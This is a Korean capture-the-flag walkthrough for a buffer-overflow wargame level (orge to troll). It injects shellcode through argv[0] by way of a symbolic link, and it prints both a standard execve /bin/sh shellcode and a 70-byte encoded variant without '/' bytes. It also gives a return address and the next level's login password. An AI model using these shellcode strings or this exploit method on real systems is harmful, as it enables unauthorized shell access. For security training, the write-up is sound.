Level8 (orge -> troll)
이번에도 마찬가지로 소스코드를 확인해 보겠습니다.
소스코드를 확인해 보면 if(argc != 2) 라는 조건이 추가 되어서 argv[2]을 사용할 수 없습니다.
결국 argv[0] , argv[1]만을 사용 해야 하고, 맨 아래에 memset(argv[1], 0, strlen(argv[1]))을 보면 argv[1]이 초기화 됩니다.
그렇기 때문에 쉘 코드를 삽일 할만한 곳이 argv[0]에만 가능합니다.
그래서 심볼릭 링크를 파일에 걸어서 실행 하는 방법으로 문제를 해결 해야 할 것 같습니다.
심볼릭 링크가 걸리지 않습니다.
그 이유는 삽입한 쉘 코드에 / 인 \x2f가 들어 있어서 경로에 지장이 생기기 때문입니다.
그래서 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 쉘코드를 아래와 같은 코드로 바꿔서 넣어야 합니다.
\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6
↑ [ 70 Byte Shellcode ]
다시 링크를 걸어보겠습니다.
깔끔 하게 성공 했습니다.
ls 명령어를 이용해서 확인해 보면 다음과 같습니다.
심볼릭 링크로 troll과 연결이 되었습니다.
이제 core dump 파일을 만들어 보겠습니다.
core dump를 생성 했습니다. 바로 분석을 해보겠습니다.
대충 RET주소를 0xbffffb40으로 하면 될 것 같습니다.
이제 troll인 기본 파일에 심볼릭 링크를 걸어서 expliot 페이로드를 실행시켜보도록 하겠습니다.
login : troll
password : aspirin